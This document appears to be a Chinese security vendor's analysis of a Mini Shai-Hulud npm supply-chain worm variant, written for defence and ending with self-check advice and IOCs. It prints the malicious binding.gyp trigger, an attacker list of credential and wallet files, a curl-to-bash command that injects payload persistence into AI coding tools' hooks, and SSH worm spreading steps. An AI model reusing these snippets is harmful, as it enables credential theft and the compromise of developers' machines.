一、概述
近日，火绒安全实验室在npm供应链安全监测过程中，捕获一例TeamPcp团伙 Mini Shai-Hulud家族后继JavaScript恶意载荷样本。经火绒安全工程师静态比对与行为分析确认，该样本与2026年6月曝光的Mini Shai-Hulud恶意样本为同一家族衍生版本，核心攻击逻辑、窃密传播机制整体未发生改变，属于该团伙持续迭代的供应链攻击产物。
相对已公开Shai-Hulud样本，本版主要差异包括：npm触发方式改变，IDE覆盖范围扩大，新增定时任务持久化机制等。目前，该家族主要通过以下途径实现投毒扩散：一是npm公共仓库依赖投毒，攻击者发布仿冒常用开发工具的恶意包、篡改已有包版本，或利用依赖传递性植入载荷，开发者执行安装命令时即触发执行；二是IDE开发环境定向注入，依托扩大后的IDE适配范围，通过开发插件、项目配置文件等渠道植入执行逻辑，在编码、构建环节静默触发；三是开源项目夹带传播，恶意依赖可被植入GitHub公开项目的依赖配置中，下游用户拉取代码时连带感染，借助开源协作链路实现供应链级扩散。
此类投毒的危害具备可传导性与可持续性：一方面，恶意载荷可直接窃取开发者本地账号凭证、SSH密钥、项目配置及源码片段等敏感信息；另一方面，新增的定时任务机制可保障恶意代码长期驻留，周期性回传数据、更新载荷，形成长效控制；此外，受感染的项目若进行发布、打包，恶意载荷将随依赖链向下游业务系统传导，引发从开发环境到生产环境的连锁污染，波及范围随依赖链路持续扩大。
从现有公开信息和样本行为看，相关威胁尚未结束，已发布的投毒npm版本仍可能存在于lockfile与缓存中，相关投毒版本与持久化机制尚未完全消退，使用 npm与GitHub的开发者宜保持关注并及时自查。
目前，火绒安全产品已经实现对该行为的拦截与查杀。
查杀图
二、Shai-Hulud蠕虫代际演进与能力迭代分析
Shai-Hulud是TeamPCP团伙主导的持续供应链攻击行动，近一年内历经6—7次迭代，始终围绕“绕过防御、扩大传播、提升窃密、 降低溯源” 四大目标演进。
原型阶段（2025.8）：验证AI辅助攻击，无自传播能力 。V1（2025.9）：首个npm自繁殖蠕虫，通过窃取长效token实现指数扩散，影响526个包。V2（2025.11）：
前移至preinstall触发，引入Bun运行时绕过检测，新增反取证与wiper机制，波及2.5万仓库。V3（2026.4）：突破OIDC信任机制，伪造SLSA Level 3证明，利用安全工具自身权限提升攻击质量。V4（2026.4-5）：双触发路径对抗npm v12防护，三端持久化联动（本地/CI/系统），攻击面扩展至AI与数据科学生态，同时源码开源并启动赏金计划，转向平台化运营。
Miasma/Hades变种（2026.6-7）：针对npm v12禁用install脚本的反制——Miasma引入AI越狱提⽰词与云密钥库主动查询； Hades突破PyPI生态，通过.pth文件实现import-time触发；Miasma v3劫持官方OIDC工作流签发合规SLSA证明，并将触发推迟至require()阶段，完全绕过安装防护。
核心规律：攻击始终由防御规则驱动升级——从绕过脚本检测、运行时检测、信任校验、AI护栏到安装防护，攻击面从CI/CD延伸至本地环境、AI工具链与云密钥管理，商业模式平台化大幅提升了攻击的规模与持续性。
本次样本的核心行为与之前分析的Mini Shai-Hulud（V4）一致：窃取本地与云端凭据、搜索GitHub/npm token、滥用GitHub Actions身份、经npm包与GitHub仓库传播，并在开发者机器上建立持久化； 与7月初的Miasma v3版本的差异主要在于， Miasma v3将触发推迟到了require()阶段，并且默认配置中的凭证窃取和感染模块也被禁用。
三、流程图
四、样本分析
在已公开的npm供应链攻击里，preinstall /postinstall是最常见的入口：在 package.json的scripts里注入安装阶段执行的命令，用户执行npm install时npm会自动调用。典型写法如下：
- {
- "scripts": {
- "preinstall": "node ./malware.js" }
- }
这类钩子目标明确，安全产品也普遍对scripts 字段做监控，近年来检出率较高。
但是该样本没有依赖上述生命周期脚本，而是在投毒包里写入binding.gyp文件，利用npm对原生模块的自动node-gyp rebuild流程 ，通过gyp的命令执行载荷。
样本中的binding.gyp文件仅有157字节，外形接近普通原生模块配置：
- {
- "targets": [{
- "target_name": "binding",
- "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"] }]
- }
sources 里表面是在拼一个源文件名 ，实际会先跑 node index.js 。
该样本的载荷为index.js，大小为4.3MB，采用强混淆隐藏逻辑。以下为解混淆前后主函数的部分。
3.1主函数执行流程
环境检测 - > 文件扫描与权限获取 - > 凭据窃取 - > 加密发送 - > 注入与感染
3.2环境检测
环境检测流程:
1.遍历五个环境变量，检查其值是否以特定前缀开头，任意一个命中即判定为蜜罐
2.检查 GITHUB_REPOSITORY 环境变量是否精确匹配已知的安全研究仓库名
3.检测当前工作目录是否在 /tmp/npm-safe/ 下
4.读取 ~/.aws/credentials 文件，若内容包含字符串"FAKE"则判定为蜜罐
以下为常见蜜罐的环境变量的前缀。
对俄语地区进行地区规避。
逐一检查30+个主流CI/CD平台的特征环境变量来判断当前是否运行在持续集成环境中。
样本首次执行时，检测环境变量 IS_DAEMON是否存在，若不存在，则fork出一个完全相同的子进程，并在子进程环境中注入 IS_DAEMON=1防止递归，随后父进程调用process.exit(0)退出。
随后父进程调用process.exit(0)退出。
创建单实例锁，确保系统中同一时刻只有一个恶意进程实例在运行。
3.3文件扫描与权限获取
执行三个扫描器：fileSystemScanner(本地敏感文件扫描)、envVarScanner(环境变量与shell配置扫描)、runnerMemoryScanner(GitHub Actions Runner内存转储)，将三者的执行结果以数组形式返回。
fileSystemScanner扫描器获取当前平台的热点路径列表后以并发度2调用readHotspots()读取所有匹配文件，将结果以{ hotspots:{[路径]:内容}}的结构通过基类E的success()方法封装返回。
不同操作系统下扫描的敏感文件如下。
- P3 = ["~/.ansible/*", "~/.aws/config", "~/.aws/credentials",
- "~/.azure/accessTokens.json", "~/.azure/msal_token_cache.*",
- "~/.bash_history", "~/.cert/nm-openvpn/*", "~/.claude.json",
- "~/.claude/*", "~/.claude/projects/*", "~/.config/atomic/Local
- Storage/leveldb/*", "**/config/database.yml", "~/.config/discord/Local
- Storage/leveldb/*", "~/.config/Element/Local Storage/*",
- "~/.config/filezilla/recentservers.xml",
- "~/.config/filezilla/sitemanager.xml",
- "~/.config/gcloud/access_tokens.db",
- "~/.config/gcloud/application_default_credentials.json",
- "~/.config/gcloud/credentials.db", "~/.config/g it/credentials",
- "~/.config/helm/*", "~/.config/Ledger Live/*", "~/.config/remmina/*", "~/.config/Signal/*", "~/.config/Slack/Cookies", "~/.config/telegram- desktop/*", "~/.config/weechat/irc.conf", "~/.docker/*/config.json", "~/.docker/config.json", "**/.env", ".env", "**/.env.local",
- "**/.env.production", "/etc/openvpn/*", "/etc/rancher/k3s/k3s.yaml", "/etc/ssh/ssh_host_*_key", "~/.ethereum/keystore/*", "~/.gitconfig", ".git-credentials", "~/.history", "~/.kde4/share/apps/kwallet/*.kw l", "~/.kde/share/apps/kwallet/*.kw l", "~/.ku be/config", "~/.lesshst",
- "~/.local/share/keyrings/*.keyring",
- "~/.local/share/keyrings/login.keyring", "~/.local/share/recently-
- used.x bel", "~/.local/share/TelegramDesktop/tdata/*", "~/.monero/*", "~/.mysql_history", "~/.netrc", "~/.node_repl_history", ".npmrc",
- "~/.npmrc", "~/.pki/nssdb/*", "~/.psql_history",
- "~/.purple/accounts.xml", "~/.pypirc", "~/.python_history",
- "~/.remmina/*", "/root/.docker/config.json", "**/settings.p",
- "~/.ssh/authorized_keys", "~/.ssh/config", "~/.ssh/id*", "~/.ssh/id_",
- "~/.ssh/id_dsa", "~/.ssh/id_ecd sa", "~/.ssh/id_ed25519",
- "~/.ssh/known_hosts", "~/.terraform.d/credentials.tfrc.json",
- "/var/lib/docker/containers/*/config.v2.json", "~/.vim info", "**/wp- config.php", "~/.yarnrc", "~/.zsh_history"],
- ZL = ["~/.claude/mcp.json", "~/.config/kwalletd/*.kw l",
- "~/**/g it/config", "~/.git-credentials", "~/.ssh/keys"],
- QL = [".claude.json", "~/.config/Exodus/exodus.wallet/*",
- "**/.git/config", "~/.ssh/id_rsa"],
- qL = [".env", "config.ini", "%USERPROFILE%\\\\.claude.json", "%USERPROFILE%\\\\.claude\\\\*",
- "%USERPROFILE%\\\\.claude\\\\projects\\\\*",
- "%APPDATA%\\\\NordVPN\\\\NordVPN.exe.Config", "%APPDATA%\\\\OpenVPN Connect\\\\profiles\\\\*", "%PROGRAMDATA%\\\\OpenVPN\\\\config\\\\*", "%APPDATA%\\\\ProtonVPN\\\\user.config",
- "%APPDATA%\\\\CyberGhost\\\\CG6\\\\CyberGhost.dat",
- "%APPDATA%\\\\Private Internet Access\\\\*.conf",
- "%APPDATA%\\\\Wind scribe\\\\Wind scribe\\\\*", "C:\\\\Program Files\\\\OpenVPN\\\\config\\\\*.ovpn",
- "%USERPROFILE%\\\\OpenVPN\\\\config\\\\*.ovpn",
- "%APPDATA%%EarthVPN\\\\OpenVPN\\\\config\\\\*.ovpn"], Linux = P3 + ZL;
- OSX = P3 + QL;
- WIN = qL;
- UNKNOWN = [];
envVarScanner扫描器首先提取本机已登录的GitHub CLI token，若成功则验证该 token的有效性及权限范围并附加到结果中；接着获取机器名、登录用户名，最后将process.env的完整快照作为environment字段一并收入结果。
runnerMemoryScanner扫描器首先确认当前环境为Linux上的GitHub Actions，再获取内存转储字节，将转储数据传入进行secret格式匹配提取，最终以包含secret键值表、仓库名、工作流名、secret数量和原始字节数的结构体调用success()返回。
3.4凭据收集
该函数预先实例化10个固定Provider，覆盖多云平台API采集、容器/K8s环境、HashiCorp Vault及本地密码管理器等场景。函数返回{providers,dispatched};
前者为完整Provider数组，后者布尔值表⽰是否发现并启用至少一个有效GitHub Token。
3.5加密发送
ScanResultAggregator 将初始扫描与各云Provider流式产出的结果持续写入内存缓冲，并在缓冲达到100KB时触发flush；对缓冲数据进行gzip+AES-256-GCM+RSA混合加密，最后经已建立的sender发出。
加密流程为：将待外传数据JSON序列化并经gzip压缩；随后生成随机32字节AES- 256会话密钥与12字节IV，以AES-256-GCM加密压缩后的明文，附加16字节认证标签；会话密钥使用硬编码在样本中的攻击者RSA-2048公钥以RSA-OAEP加密。
最终输出JSON对象{"envelope":"<base64>","key":"<base64>"} ：
envelope解码后为IV(12B)‖密文‖AuthTag(16B)，key为RSA加密后的AES密钥。
- -----BEGIN PUBLIC KEY-----
- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAy/uXzJGGCEF39GtSJk9H
- 34cWHM9XaRYrvMI0FnDi77ZRt1bMtva4xn/gdYS0koxVYkJBO55qCTNVf5SCxeHx
- t6qdsF9Ofdh2i/HXqcRLo2M49Pw9wFGZTo15CSAaqj1SNtgjj8UvLXkVkS+Cah0d
- U5xcdqV/trniKtf5Thu8hq3FGPlR+PIi9JHMedXVuNpp0U6RXeM/8KU++DFysR7U
- SgBqENN1HATGi9TafjIjO47rs/lSCGJu7zt/68Goi8fij+u5vV/ML7hg28DoiAuF
- NGfxzxbUNJRcuNildoWOup1E0DcimV93T8it7R+o/nd/XTGj82ncpfGQgirNILn9
- xY2glt11LoFw/OikSApZP66IUE4VgoxEx22zW717La3EXcs2UTfo0mEAYi9SMuAw
- ZLE+XuHV1x5VLkrVNUqs3XME0KKzbSyzoHOd/GPZNYvY5iasl7GdiaMYXEZUouNG
- ZaQPp0IZ0t5Z0uI+oCre85avpAgcROBo5VxZcwi/WL9l/TXxAGdSjgfKNvCmkWvD
- JWwYcrWe6sE68Q4G/LeZIHdNBjQ0G9Awkn/5UfIRfpMOPc+usLvhRbUqo37ADG4H
- mvh9ZgjU3iXfSoCLxWDA7l5Bpvuoob4r6Tg/1DFld2LPboVqqj/ifiaUbjdZLrDf
- hiLx1mYHyEdCkpwm5U/LSesCAwEAAQ==
- -----END PUBLIC KEY-----
3.6注入与感染
数据窃取传输阶段完成后，调用buildFollowUpModules()根据扫描结果及是否持有有效GitHub Token，动态生成仓库投毒、CI劫持等后续攻击模块列表。
若未发现有效GitHub PAT/OAuth token，则为每个GitHub Actions短期token实例化仓库投毒模块，向目标仓库写入恶意commit。
IdeHookPersistence函数在用戶home下查找路径名包含claude 、codex 、 gemini 、copilot 、kiro 、opencode且可写的settings.json，将自身Bun.main不加wrap写入~/.config/index.js，从而在开发者每次打开AI助手会话时触发恶意代码。
注入的命令
- command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH) && bun run
- /home/user/.config/index.js
样本滥用主流AI开发IDE的合法Hook/任务机制实现持久化：在Claude Code、VS Code、Cursor、Gemini等工具的配置中注入SessionStart钩子或打开文件夹自动运行任务 ，开发者日常打开项目或启动AI会话时即静默触发恶意载荷。
PythonMonitorPersistence通过bash安装脚本并注册为systemd用户服务(Linux)或LaunchAgent(macOS)，实现开机/定时常驻。
SshWormPropagation收集历史连接过的主机别名，读取payload，用scp将脚本写入远程/tmp/.sshu-setup.js，随后ssh远程执行node/node js运行该脚本。
五、总结说明
综上所述，该攻击行为通过多层混淆隐藏逻辑，在本地与CI双模式下完成凭据收割、RSA混合加密外传、IDE Hook持久化及多向量横向传播；技术复杂度与隐蔽性均处于同类恶意软件前列，用户需从供应链、主机行为与凭据生命周期三个维度协同防护。火绒安全在此提醒广大用户，加强防范与自查：
1、核对项目及CI是否依赖已知涉事scope；关注异常patch版本突增、新增 binding.gyp 、安装日志中的node-gyp rebuild 。
2、若曾安装来源不明或版本异常的npm包，应视同泄露，轮换GitHubPAT/npm/云厂商/Vault等secret，并审查近期token创建的仓库与Actions运行记录。
3、检查本机.claude/ 、.vscode/tasks.json 、.cursor/ 、.gemini/ 及 ~/.config/index.js 、~/.local/share/updater/等是否被非本人写入；是否存在 tmp.0144018410.lock。
4、如使用GitHub账户，需排查陌生公开仓库、异常workflow/commit、Action tag是否被强更。
5、限制OIDC发布权限，审计OIDC_PACKAGES 类变量与npm publish步骤；Runner上注意异常DNS/hosts修改。
6、分辨是否为误报，如GitHub上仅出现fired al azer 等关键词的安全研究/advisory文本，若无 <关键词><b64>.<sig> 签名格式，一般不能作为感染依据。
7、使用安全产品进行全盘扫描查杀，保护开发终端与代码供应链安全。
六、IOC信息
md5 : e04f13d057ee6258df140b20aa6ae77d
公钥 :
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAy/uXzJGGCEF39GtSJk9H34cWHM9XaRYrvMI0FnDi77ZRt1bMtva4xn/gdYS0koxVYkJBO55qCTNVf5SCxeHxt6qdsF9Ofdh2i/HXqcRLo2M49Pw9wFGZTo15CSAaqj1SNtgjj8UvLXkVkS+Cah0dU5xcdqV/trniKtf5Thu8hq3FGPlR+PIi9JHMedXVuNpp0U6RXeM/8KU++DFysR7USgBqENN1HATGi9TafjIjO47rs/lSCGJu7zt/68Goi8fij+u5vV/ML7hg28DoiAuFNGfxzxbUNJRcuNildoWOup1E0DcimV93T8it7R+o/nd/XTGj82ncpfGQgirNILn9xY2glt11LoFw/OikSApZP66IUE4VgoxEx22zW717La3EXcs2UTfo0mEAYi9SMuAwZLE+XuHV1x5VLkrVNUqs3XME0KKzbSyzoHOd/GPZNYvY5iasl7GdiaMYXEZUouNGZaQPp0IZ0t5Z0uI+oCre85avpAgcROBo5VxZcwi/WL9l/TXxAGdSjgfKNvCmkWvDJWwYcrWe6sE68Q4G/LeZIHdNBjQ0G9Awkn/5UfIRfpMOPc+usLvhRbUqo37ADG4Hmvh9ZgjU3iXfSoCLxWDA7l5Bpvuoob4r6Tg/1DFld2LPboVqqj/ifiaUbjdZLrDf hiLx1mYHyEdCkpwm5U/LSesCAwEAAQ==
C2 :
api.github.com/search/commits?q=thebeautifulmarchoftime
api.github.com/search/commits?q=thebeautifulsnadsoftime
api.github.com/search/commits?q=firedalazer
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